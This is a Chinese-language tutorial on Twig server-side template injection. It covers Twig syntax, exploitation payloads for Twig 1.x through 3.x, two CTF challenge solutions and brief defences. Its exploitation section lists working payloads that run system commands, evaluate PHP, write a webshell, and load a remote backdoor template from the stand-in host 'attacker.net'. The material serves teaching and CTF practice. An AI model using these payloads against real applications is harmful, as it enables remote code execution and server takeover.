Twig 模板注入从零到一
字数 960 2025-08-05 00:15:28
Twig 模板注入从零到一
1. Twig 简介
Twig 是一个灵活、快速、安全的 PHP 模板语言,具有以下特点:
- 快速:将模板编译成优化的原始 PHP 代码
- 安全:拥有沙盒模型检测不可信的模板代码
- 灵活:由灵活的词法分析器和语法分析器组成,可自定义标签和过滤器
使用场景:
- 被 Symfony、Drupal8、eZPublish、phpBB、Matomo、OroCRM 等开源项目使用
- 支持 Slim、Yii、Laravel 和 Codeigniter 等框架
2. Twig 安装
版本要求:
- Twig 3.x 需要 PHP 7.2.5+
安装方式:
composer require "twig/twig:^3.0"
基本使用示例:
require_once __DIR__.'/vendor/autoload.php';
$loader = new \Twig\Loader\ArrayLoader([
'index' => 'Hello {{ name }}!',
]);
$twig = new \Twig\Environment($loader);
echo $twig->render('index', ['name' => 'whoami']);
文件系统加载器:
$loader = new \Twig\Loader\FilesystemLoader('./views');
$twig = new \Twig\Environment($loader, [
'cache' => './cache/views',
]);
echo $twig->render('index.html', ['name' => 'whoami']);
3. Twig 基础语法
3.1 基本结构
- 分隔符:
{% %}用于执行语句,{{ }}用于输出表达式结果 - 注释:
{# 注释内容 #}
3.2 变量操作
{% set foo = {'foo': 'bar'} %} {# 设置变量 #}
{{ foo.foo }} {# 访问对象属性 #}
{{ foo['foo'] }} {# 访问数组元素 #}
3.3 过滤器
{{ '<a>whoami<a>'|striptags|title }} {# 输出: Whoami! #}
{{ ['a', 'b', 'c']|join('|') }} {# 输出: a|b|c #}
3.4 函数
{{ range(0, 3) }} {# 输出: 0, 1, 2, 3 #}
3.5 控制结构
{% for user in users %}
{{ user.username|e }}
{% endfor %}
{% if users|length > 0 %}
{{ users|length }}
{% endif %}
3.6 模板继承
基础模板 (base.html):
<!DOCTYPE html>
<html>
<head>
<title>{% block title %}{% endblock %} - My Webpage</title>
</head>
<body>
<div id="content">{% block content %}{% endblock %}</div>
</body>
</html>
子模板:
{% extends "base.html" %}
{% block title %}Index{% endblock %}
{% block content %}
<h1>Index</h1>
<p>Welcome to my awesome homepage.</p>
{% endblock %}
4. Twig 模板注入
4.1 漏洞产生条件
当用户输入直接作为模板内容时:
$template = $twig->createTemplate("Hello {$_GET['name']}!"); // 危险
echo $twig->render('index', ['name' => 'whoami']); // 安全
4.2 Twig 1.x 利用
全局变量:
_self: 当前模板实例_context: 当前上下文_charset: 当前字符集
利用方法:
- 通过
_self访问Twig_Environment:
{{ _self.env.setCache("ftp://attacker.net") }}
{{ _self.env.loadTemplate("backdoor") }}
- 通过
getFilter方法执行命令:
{{ _self.env.registerUndefinedFilterCallback("exec") }}
{{ _self.env.getFilter("id") }}
4.3 Twig 2.x/3.x 利用
4.3.1 map 过滤器利用
{{["id"]|map("system")}} {# 执行系统命令 #}
{{["phpinfo();"]|map("assert")|join(",")}} {# 执行PHP代码 #}
{{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}} {# 写Webshell #}
4.3.2 sort 过滤器利用
{{["id", 0]|sort("system")}} {# 执行系统命令 #}
4.3.3 filter 过滤器利用
{{["id"]|filter("system")}} {# 执行系统命令 #}
4.3.4 reduce 过滤器利用
{{[0, 0]|reduce("system", "id")}} {# 执行系统命令 #}
5. CTF 例题分析
5.1 [BJDCTF2020]Cookie is so stable
漏洞点:Cookie 处存在 SSTI
解法:使用 Twig 1.x 的 _self 利用方式
5.2 [VolgaCTF 2020 Qualifier]Newsletter
漏洞代码:
$name = substr($email, 0, strpos($email, '@'));
$content = $this->get('twig')->createTemplate("<p>Hello ${name}.</p>")->render();
绕过方法:
"{{['id']|map('passthru')}}"@qq.com
6. 防御措施
- 避免直接将用户输入作为模板
- 使用 Twig 的沙盒模式:
$sandbox = new \Twig\Sandbox\SecurityPolicy([], [], [], [], []);
$twig = new \Twig\Environment($loader, ['sandbox' => $sandbox]);
- 及时更新 Twig 版本